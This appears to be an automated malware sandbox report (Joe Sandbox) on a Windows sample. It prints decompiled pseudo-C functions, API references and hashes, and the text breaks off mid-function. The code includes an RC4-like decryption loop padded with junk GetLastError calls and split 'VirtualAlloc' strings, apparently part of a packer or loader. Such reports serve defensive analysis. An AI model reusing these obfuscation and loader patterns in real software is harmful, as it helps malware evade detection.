kernel32.dll, xrefs: 01143CC2
Virtua, xrefs: 01143C40
8192, xrefs: 01143D64
fDFFGDSRTDSGFDSFSGDfgd, xrefs: 01143BF5
D$ERdyhurg778r8t647386FGDSFGSDGFdfg, xrefs: 01143C02
XAdsfcghjdYUTWTFyFSGSFGH, xrefs: 01143D1D
!, xrefs: 01143C7F
lAlloc, xrefs: 01143C4D

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: AcquireAllocContextCreateCryptErrorHandleLastLoadModuleStringVirtual
String ID: !$8192$D$ERdyhurg778r8t647386FGDSFGSDGFdfg$QYqtAWv+gr9gGG5B3*1fVLVIz@(S?c)X(ZtApw@UT!b<b@s#M@bbo5!n&BjQDNBxG9oulynho8NB?&4Rwy$Virtua$XAdsfcghjdYUTWTFyFSGSFGH$fDFFGDSRTDSGFDSFSGDfgd$kernel32.dll$lAlloc
API String ID: 1545065178-2029662199
Opcode ID: a271c7dca0a0dddfe0bd1e04ac4d483370c7ef7e88365530339ea43c346ad942
Instruction ID: b07c27b5f9d9bfdddff140fdd6c479da5492ab302f4241d1e4b0677745dea12a
Opcode Fuzzy Hash: a271c7dca0a0dddfe0bd1e04ac4d483370c7ef7e88365530339ea43c346ad942
Instruction Fuzzy Hash: FB716E71D102299BEB2CEFA4D845BDEBB74BF14A08F50406CE529BB281EB711A45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01144C40, Relevance: 3.0, APIs: 2, Instructions: 33
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E01144C40(void* __ecx) {
				long* _v8;
				int _t5;

				_v8 = 0;
				_t5 = CryptAcquireContextA( &_v8, 0, 0, 1, 0); // executed
				if(_t5 != 0) {
					if(CryptAcquireContextA( &_v8, 0, 0, 1, 8) != 0) {
						asm("pushfd");
						asm("popfd");
						return 1;
					}
					return 0;
				}
				return 0;
			}

0x01144c44
0x01144c57
0x01144c5e
0x01144c77
0x01144c7d
0x01144c81
0x00000000
0x01144c81
0x00000000
0x01144c79
0x00000000

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,00000000), ref: 01144C57
CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,00000008,00000000,00000000,00000000,00000001,00000000), ref: 01144C70

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: AcquireContextCrypt
String ID:
API String ID: 3951991833-0
Opcode ID: 0b8af77ac50ba75d9ac9a9f751da530375660640b32f8b38a4c2cb36ded54f9a
Instruction ID: 7e22ecf3ef0de3f252ba53f2491a577535ebfbf10a589310ee97ffbb20cc7583
Opcode Fuzzy Hash: 0b8af77ac50ba75d9ac9a9f751da530375660640b32f8b38a4c2cb36ded54f9a
Instruction Fuzzy Hash: 7AE09230BA4309B7FB28D6A44D82F95B1DC5704F44F1045507701E55C0FFE1AA40426D

Uniqueness

Uniqueness Score: -1.00%

Function 011442E0, Relevance: 488.0, APIs: 324, Strings: 1, Instructions: 463
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E011442E0(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, signed int _a24) {
				void* _v5;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _t101;
				intOrPtr _t102;
				intOrPtr _t103;
				signed int _t104;
				void* _t464;
				signed int _t465;
				signed int _t483;
				void* _t491;
				void* _t524;
				void* _t529;
				void* _t531;

				_t101 =  *0x1169004; // 0x3db9
				_push(_t101); // executed
				_t102 = E01149F2F(_t464, _t491, _t524, _t531); // executed
				_v28 = _t102;
				_t465 =  *0x1169004; // 0x3db9
				_push(_t465); // executed
				_t103 = E01149F2F(_t464, _t491, _t524, _t531); // executed
				_v16 = _t103;
				_v20 = 0;
				_v32 = 0;
				_v12 = 0;
				_v12 = 0;
				while(1) {
					_t104 = _v12;
					_t529 = _t104 -  *0x1169004; // 0x3db9
					if(_t529 >= 0) {
						break;
					}
					 *(_v16 + _v12) = _v12;
					asm("cdq");
					 *(_v28 + _v12) =  *((intOrPtr*)(_a12 + _v12 % _a16));
					_v12 = _v12 + 1;
				}
				_v12 = 0;
				while(1) {
					__eflags = _v12 -  *0x1169004; // 0x3db9
					if(__eflags >= 0) {
						break;
					}
					_v20 = (( *(_v16 + _v12) & 0x000000ff) + _v20 + ( *(_v28 + _v12) & 0x000000ff)) %  *0x1169004;
					_v5 =  *(_v16 + _v20);
					 *(_v16 + _v20) =  *(_v16 + _v12);
					 *(_v16 + _v12) = _v5;
					_t104 = _v12 + 1;
					__eflags = _t104;
					_v12 = _t104;
				}
				_v20 = 0;
				_v24 = 0;
				while(1) {
					__eflags = _v24 - _a8;
					if(_v24 >= _a8) {
						break;
					}
					_v12 = (_v12 + 1) %  *0x1169004;
					_v20 = (( *(_v16 + _v12) & 0x000000ff) + _v20) %  *0x1169004;
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					_v5 = ( *(_v16 + _v20) & 0x000000ff) + _a24 * _a24;
					 *(_v16 + _v20) = ( *(_v16 + _v12) & 0x000000ff) + _a24 * _a24;
					 *(_v16 + _v12) = _v5;
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					GetLastError();
					_v32 = (( *(_v16 + _v12) & 0x000000ff) + ( *(_v16 + _v20) & 0x000000ff)) %  *0x1169004 + _a24 * _a24;
					_t104 = _a24 * _a24;
					 *((char*)(_a20 + _v24)) =  *(_a4 + _v24) & 0x000000ff ^ ( *(_v16 + _v32) & 0x000000ff) + _t104;
					_t483 = _v24 + 1;
					__eflags = _t483;
					_v24 = _t483;
				}
				return _t104;
			}

0x011442e6
0x011442eb
0x011442ec
0x011442f4
0x011442f7
0x011442fd
0x011442fe
0x01144306
0x01144309
0x01144310
0x01144317
0x0114431e
0x01144330
0x01144330
0x01144333
0x01144339
0x00000000
0x00000000
0x01144344
0x01144349
0x01144359
0x0114432d
0x0114432d
0x0114435d
0x0114436f
0x01144372
0x01144378
0x00000000
0x00000000
0x01144399
0x011443a4
0x011443b5
0x011443c0
0x01144369
0x01144369
0x0114436c
0x0114436c
0x011443c4
0x011443cb
0x011443dd
0x011443e0
0x011443e3
0x00000000
0x00000000
0x011443f7
0x0114440e
0x01144411
0x01144417
0x0114441d
0x01144423
0x01144429
0x0114442f
0x01144435
0x0114443b
0x01144441
0x01144447
0x0114444d
0x01144453
0x01144459
0x0114445f
0x01144465
0x0114446b
0x01144471
0x01144477
0x0114447d
0x01144483
0x01144489
0x0114448f
0x01144495
0x0114449b
0x011444a1
0x011444a7
0x011444ad
0x011444b3
0x011444b9
0x011444bf
0x011444c5
0x011444cb
0x011444d1
0x011444d7
0x011444dd
0x011444e3
0x011444e9
0x011444ef
0x011444f5
0x011444fb
0x01144501
0x01144507
0x0114450d
0x01144513
0x01144519
0x0114451f
0x01144525
0x0114452b
0x01144531
0x01144537
0x0114453d
0x01144543
0x01144549
0x0114454f
0x01144555
0x0114455b
0x01144561
0x01144567
0x0114456d
0x01144573
0x01144579
0x0114457f
0x01144585
0x0114458b
0x01144591
0x01144597
0x0114459d
0x011445a3
0x011445a9
0x011445af
0x011445b5
0x011445bb
0x011445c1
0x011445c7
0x011445cd
0x011445d3
0x011445d9
0x011445df
0x011445e5
0x011445eb
0x011445f1
0x011445f7
0x011445fd
0x01144603
0x01144609
0x0114460f
0x01144615
0x0114461b
0x01144621
0x01144627
0x0114462d
0x01144633
0x01144639
0x0114463f
0x01144645
0x0114464b
0x01144651
0x01144657
0x0114465d
0x01144663
0x01144669
0x0114466f
0x01144675
0x0114467b
0x01144681
0x01144687
0x0114468d
0x01144693
0x01144699
0x0114469f
0x011446a5
0x011446ab
0x011446b1
0x011446b7
0x011446bd
0x011446c3
0x011446c9
0x011446cf
0x011446d5
0x011446db
0x011446e1
0x011446e7
0x011446ed
0x011446f3
0x011446f9
0x011446ff
0x01144705
0x0114470b
0x01144711
0x01144717
0x0114471d
0x01144723
0x01144729
0x0114472f
0x01144735
0x0114473b
0x01144741
0x01144747
0x0114474d
0x01144753
0x01144759
0x0114475f
0x01144765
0x0114476b
0x01144771
0x01144777
0x0114477d
0x01144783
0x01144789
0x0114478f
0x01144795
0x0114479b
0x011447a1
0x011447a7
0x011447ad
0x011447b3
0x011447b9
0x011447bf
0x011447c5
0x011447cb
0x011447d1
0x011447d7
0x011447dd
0x011447e3
0x011447e9
0x01144801
0x0114481c
0x01144827
0x01144829
0x0114482f
0x01144835
0x0114483b
0x01144841
0x01144847
0x0114484d
0x01144853
0x01144859
0x0114485f
0x01144865
0x0114486b
0x01144871
0x01144877
0x0114487d
0x01144883
0x01144889
0x0114488f
0x01144895
0x0114489b
0x011448a1
0x011448a7
0x011448ad
0x011448b3
0x011448b9
0x011448bf
0x011448c5
0x011448cb
0x011448d1
0x011448d7
0x011448dd
0x011448e3
0x011448e9
0x011448ef
0x011448f5
0x011448fb
0x01144901
0x01144907
0x0114490d
0x01144913
0x01144919
0x0114491f
0x01144925
0x0114492b
0x01144931
0x01144937
0x0114493d
0x01144943
0x01144949
0x0114494f
0x01144955
0x0114495b
0x01144961
0x01144967
0x0114496d
0x01144973
0x01144979
0x0114497f
0x01144985
0x0114498b
0x01144991
0x01144997
0x0114499d
0x011449a3
0x011449a9
0x011449af
0x011449b5
0x011449bb
0x011449c1
0x011449c7
0x011449cd
0x011449d3
0x011449d9
0x011449df
0x011449e5
0x011449eb
0x011449f1
0x011449f7
0x011449fd
0x01144a03
0x01144a09
0x01144a0f
0x01144a15
0x01144a1b
0x01144a21
0x01144a27
0x01144a2d
0x01144a33
0x01144a39
0x01144a3f
0x01144a45
0x01144a4b
0x01144a51
0x01144a57
0x01144a5d
0x01144a63
0x01144a69
0x01144a6f
0x01144a75
0x01144a7b
0x01144a81
0x01144a87
0x01144a8d
0x01144a93
0x01144a99
0x01144a9f
0x01144aa5
0x01144aab
0x01144ab1
0x01144ab7
0x01144abd
0x01144ac3
0x01144ac9
0x01144acf
0x01144ad5
0x01144adb
0x01144ae1
0x01144ae7
0x01144aed
0x01144af3
0x01144af9
0x01144aff
0x01144b05
0x01144b0b
0x01144b11
0x01144b17
0x01144b1d
0x01144b23
0x01144b29
0x01144b2f
0x01144b35
0x01144b3b
0x01144b41
0x01144b47
0x01144b4d
0x01144b53
0x01144b59
0x01144b5f
0x01144b65
0x01144b6b
0x01144b71
0x01144b77
0x01144b7d
0x01144b83
0x01144b89
0x01144b8f
0x01144b95
0x01144b9b
0x01144ba1
0x01144ba7
0x01144bad
0x01144bb3
0x01144bb9
0x01144bbf
0x01144bc5
0x01144bcb
0x01144bd1
0x01144bd7
0x01144bdd
0x01144c08
0x01144c20
0x01144c2e
0x011443d7
0x011443d7
0x011443da
0x011443da
0x01144c38

APIs

Part of subcall function 01149F2F: __FF_MSGBANNER.LIBCMT ref: 01149F46
Part of subcall function 01149F2F: RtlAllocateHeap.NTDLL(00A20000,00000000,00000001,?,?,?,?,011442F1,00003DB9), ref: 01149F72

GetLastError.KERNEL32 ref: 01144411
GetLastError.KERNEL32 ref: 01144417
GetLastError.KERNEL32 ref: 0114441D
GetLastError.KERNEL32 ref: 01144423
GetLastError.KERNEL32 ref: 01144429
GetLastError.KERNEL32 ref: 0114442F
GetLastError.KERNEL32 ref: 01144435
GetLastError.KERNEL32 ref: 0114443B
GetLastError.KERNEL32 ref: 01144441
GetLastError.KERNEL32 ref: 01144447
GetLastError.KERNEL32 ref: 0114444D
GetLastError.KERNEL32 ref: 01144453
GetLastError.KERNEL32 ref: 01144459
GetLastError.KERNEL32 ref: 0114445F
GetLastError.KERNEL32 ref: 01144465
GetLastError.KERNEL32 ref: 0114446B
GetLastError.KERNEL32 ref: 01144471
GetLastError.KERNEL32 ref: 01144477
GetLastError.KERNEL32 ref: 0114447D
GetLastError.KERNEL32 ref: 01144483
GetLastError.KERNEL32 ref: 01144489
GetLastError.KERNEL32 ref: 0114448F
GetLastError.KERNEL32 ref: 01144495
GetLastError.KERNEL32 ref: 0114449B
GetLastError.KERNEL32 ref: 011444A1
GetLastError.KERNEL32 ref: 011444A7
GetLastError.KERNEL32 ref: 011444AD
GetLastError.KERNEL32 ref: 011444B3
GetLastError.KERNEL32 ref: 011444B9
GetLastError.KERNEL32 ref: 011444BF
GetLastError.KERNEL32 ref: 011444C5
GetLastError.KERNEL32 ref: 011444CB
GetLastError.KERNEL32 ref: 011444D1
GetLastError.KERNEL32 ref: 011444D7
GetLastError.KERNEL32 ref: 011444DD
GetLastError.KERNEL32 ref: 011444E3
GetLastError.KERNEL32 ref: 011444E9
GetLastError.KERNEL32 ref: 011444EF
GetLastError.KERNEL32 ref: 011444F5
GetLastError.KERNEL32 ref: 011444FB
GetLastError.KERNEL32 ref: 01144501
GetLastError.KERNEL32 ref: 01144507
GetLastError.KERNEL32 ref: 0114450D
GetLastError.KERNEL32 ref: 01144513
GetLastError.KERNEL32 ref: 01144519
GetLastError.KERNEL32 ref: 0114451F
GetLastError.KERNEL32 ref: 01144525
GetLastError.KERNEL32 ref: 0114452B

Strings

P>\, xrefs: 011442EB

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ErrorLast$AllocateHeap
String ID: P>\
API String ID: 4219743298-3158822007
Opcode ID: 2097d1fbd2d47193264c1344632841dce033eeebcfb9aad4f752eae15032d567
Instruction ID: c3d24937a869463fcea08cc0e054b098dadedf488a09e3e5016397dfe1928f52
Opcode Fuzzy Hash: 2097d1fbd2d47193264c1344632841dce033eeebcfb9aad4f752eae15032d567
Instruction Fuzzy Hash: DD611A74D08259EFCB09CFA8C490BAEBFB2BF59308F188095D461A7356C335A665CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0114A63B, Relevance: 7.6, APIs: 5, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t17;
				void* _t18;
				void* _t20;
				intOrPtr _t26;
				void* _t29;
				intOrPtr _t31;
				void* _t33;
				signed int _t42;
				void* _t53;
				signed int _t56;
				intOrPtr _t57;
				void* _t58;
				void* _t60;
				void* _t68;

				_t68 = __fp0;
				_t54 = __edi;
				_t53 = __edx;
				E01150216();
				_push(0x14);
				_push(0x1167410);
				E0114B2A0(__ebx, __edi, __esi);
				_t56 = E011503FD() & 0x0000ffff;
				_push(2);
				E011501C9();
				_t60 =  *0x1140000 - 0x5a4d; // 0x5a4d
				if(_t60 == 0) {
					_t17 =  *0x114003c; // 0xf8
					__eflags =  *((intOrPtr*)(_t17 + 0x1140000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0x1140000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0x1140018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0x1140018)) != 0x10b) {
							goto L2;
						} else {
							_t42 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0x1140074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0x1140074)) > 0xe) {
								__eflags =  *(_t17 + 0x11400e8);
								_t6 =  *(_t17 + 0x11400e8) != 0;
								__eflags = _t6;
								_t42 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t42 = 0;
				}
				 *(_t58 - 0x1c) = _t42;
				_t18 = E0114D5D3();
				_t61 = _t18;
				if(_t18 == 0) {
					E0114A795(0x1c);
				}
				_t20 = E0114C399(_t42, _t54, _t61);
				_t21 = _t20;
				_t62 = _t20;
				if(_t20 == 0) {
					_t21 = E0114A795(0x10);
				}
				E011502B2(_t21);
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				if(E0114FC05(_t42, _t54, _t56, _t62) < 0) {
					E0114A795(0x1b);
				}
				 *0x116cc3c = GetCommandLineA(); // executed
				_t26 = E011502F2(_t53, _t68); // executed
				 *0x116aa6c = _t26;
				if(E0114FEB9() < 0) {
					_push(8);
					E0114AED6(_t53, _t68);
				}
				if(E011500E8(_t42, _t53, _t54, _t56) < 0) {
					_push(9);
					E0114AED6(_t53, _t68);
				}
				_push(1); // executed
				_t29 = E0114AF10(); // executed
				_t66 = _t29;
				if(_t29 != 0) {
					_push(_t29);
					E0114AED6(_t53, _t68);
				}
				_t31 = E01143BC0(_t42, _t54, _t56, _t66, 0x1140000, 0, E01150760(), _t56); // executed
				_t57 = _t31;
				 *((intOrPtr*)(_t58 - 0x24)) = _t57;
				if(_t42 == 0) {
					E0114B179(_t57);
				}
				E0114AF01();
				 *(_t58 - 4) = 0xfffffffe;
				_t33 = _t57;
				return E0114B2E5(_t33);
			}

0x0114a63b
0x0114a63b
0x0114a63b
0x0114a63b
0x0114a645
0x0114a647
0x0114a64c
0x0114a656
0x0114a659
0x0114a65b
0x0114a666
0x0114a66d
0x0114a673
0x0114a678
0x0114a682
0x00000000
0x0114a684
0x0114a689
0x0114a690
0x00000000
0x0114a692
0x0114a692
0x0114a694
0x0114a69b
0x0114a69d
0x0114a6a3
0x0114a6a3
0x0114a6a3
0x0114a6a3
0x0114a69b
0x0114a690
0x0114a66f
0x0114a66f
0x0114a66f
0x0114a66f
0x0114a6a6
0x0114a6a9
0x0114a6ae
0x0114a6b0
0x0114a6b4
0x0114a6b9
0x0114a6ba
0x0114a6bf
0x0114a6bf
0x0114a6c1
0x0114a6c5
0x0114a6ca
0x0114a6cb
0x0114a6d0
0x0114a6db
0x0114a6df
0x0114a6e4
0x0114a6eb
0x0114a6f0
0x0114a6f5
0x0114a701
0x0114a703
0x0114a705
0x0114a70a
0x0114a712
0x0114a714
0x0114a716
0x0114a71b
0x0114a71c
0x0114a71e
0x0114a724
0x0114a726
0x0114a728
0x0114a729
0x0114a72e
0x0114a73d
0x0114a742
0x0114a744
0x0114a749
0x0114a74c
0x0114a74c
0x0114a751
0x0114a786
0x0114a78e
0x0114a794

APIs

Part of subcall function 011503FD: GetStartupInfoW.KERNEL32(?), ref: 01150407

_fast_error_exit.LIBCMT ref: 0114A6B4
_fast_error_exit.LIBCMT ref: 0114A6C5
_fast_error_exit.LIBCMT ref: 0114A6DF
GetCommandLineA.KERNEL32(01167410,00000014), ref: 0114A6E5

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: _fast_error_exit$CommandInfoLineStartup
String ID:
API String ID: 1043496264-0
Opcode ID: 141121f54f197bf29d6d5076d54db8cd22094ec711394a80ac1ae41703fc7a62
Instruction ID: 67e9950e3ebda1fc19a6fe1a1c4f48e83d365f674e8c44059221db421e3cd0ac
Opcode Fuzzy Hash: 141121f54f197bf29d6d5076d54db8cd22094ec711394a80ac1ae41703fc7a62
Instruction Fuzzy Hash: 7E2123606C03179BEB7CBBF47888B5E26605F68F5EF12442AE6179B0C2EFB5C4408756

Uniqueness

Uniqueness Score: -1.00%

Function 0115BBA6, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E0115BBA6(void* __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t66;
				signed int _t74;
				signed int _t76;
				void* _t78;
				signed int _t80;
				signed int _t86;
				signed int _t89;
				intOrPtr _t92;
				signed int _t104;
				signed int* _t105;
				signed int* _t106;
				void* _t108;
				signed int _t110;
				void* _t111;
				void* _t112;

				_push(0x30);
				E0115626C(E0115ECF5, __ebx, __edi, __esi);
				_t108 = __ecx;
				_t86 =  *(_t111 + 8);
				_t110 = __esi | 0xffffffff;
				if(_t86 != _t110) {
					_t89 =  *( *(__ecx + 0x20));
					__eflags = _t89;
					if(_t89 == 0) {
						L6:
						__eflags =  *(_t108 + 0x50);
						if( *(_t108 + 0x50) == 0) {
							L34:
							L35:
							return E0115622A(_t86, _t108, _t110);
						}
						E0115B985(_t108);
						__eflags =  *(_t108 + 0x40);
						if(__eflags != 0) {
							 *(_t111 - 0x34) = _t86;
							 *((intOrPtr*)(_t111 - 0x14)) = 0xf;
							 *((intOrPtr*)(_t111 - 0x18)) = 0;
							 *(_t111 - 0x28) = 0;
							E0115BA50(_t86, _t111 - 0x28, _t110, 8, 0);
							_t14 = _t111 - 4;
							 *_t14 =  *(_t111 - 4) & 0x00000000;
							__eflags =  *_t14;
							while(1) {
								L11:
								_t66 =  *(_t111 - 0x28);
								_t92 =  *((intOrPtr*)(_t111 - 0x14));
								 *(_t111 - 0x30) = _t66;
								while(1) {
									__eflags = _t92 - 0x10;
									if(_t92 < 0x10) {
										_t66 = _t111 - 0x28;
									}
									 *(_t111 - 0x2c) = _t66;
									__eflags = _t92 - 0x10;
									if(_t92 < 0x10) {
										 *(_t111 - 0x30) = _t111 - 0x28;
									}
									_t74 =  *((intOrPtr*)( *( *(_t108 + 0x40)) + 0x1c))(_t108 + 0x48, _t111 - 0x34, _t111 - 0x33, _t111 - 0x3c,  *(_t111 - 0x30),  *((intOrPtr*)(_t111 - 0x18)) +  *(_t111 - 0x2c), _t111 - 0x38);
									_t86 =  *(_t111 + 8);
									__eflags = _t74;
									if(_t74 < 0) {
										break;
									}
									__eflags = _t74 - 1;
									if(_t74 > 1) {
										__eflags = _t74 - 3;
										if(__eflags != 0) {
											break;
										}
										_t76 = E0115B3C6(__eflags,  *(_t111 - 0x34),  *(_t108 + 0x50));
										__eflags = _t76;
										if(_t76 == 0) {
											break;
										}
										L32:
										_t110 = _t86;
										break;
									}
									_t92 =  *((intOrPtr*)(_t111 - 0x14));
									_t66 =  *(_t111 - 0x28);
									 *(_t111 - 0x30) = _t66;
									__eflags = _t92 - 0x10;
									if(_t92 < 0x10) {
										 *(_t111 - 0x2c) = _t111 - 0x28;
									} else {
										 *(_t111 - 0x2c) = _t66;
									}
									_t104 =  *((intOrPtr*)(_t111 - 0x38)) -  *(_t111 - 0x2c);
									__eflags = _t104;
									 *(_t111 - 0x2c) = _t104;
									if(_t104 == 0) {
										L26:
										 *((char*)(_t108 + 0x45)) = 1;
										__eflags =  *((intOrPtr*)(_t111 - 0x3c)) - _t111 - 0x34;
										_t86 =  *(_t111 + 8);
										if( *((intOrPtr*)(_t111 - 0x3c)) != _t111 - 0x34) {
											goto L32;
										}
										__eflags = _t104;
										if(_t104 != 0) {
											continue;
										}
										__eflags =  *((intOrPtr*)(_t111 - 0x18)) - 0x20;
										if( *((intOrPtr*)(_t111 - 0x18)) >= 0x20) {
											break;
										}
										_push(_t104);
										E0115B9EF(_t66, _t111 - 0x28, _t110, 8);
										goto L11;
									} else {
										__eflags = _t92 - 0x10;
										if(__eflags < 0) {
											_t66 = _t111 - 0x28;
										}
										_push( *(_t108 + 0x50));
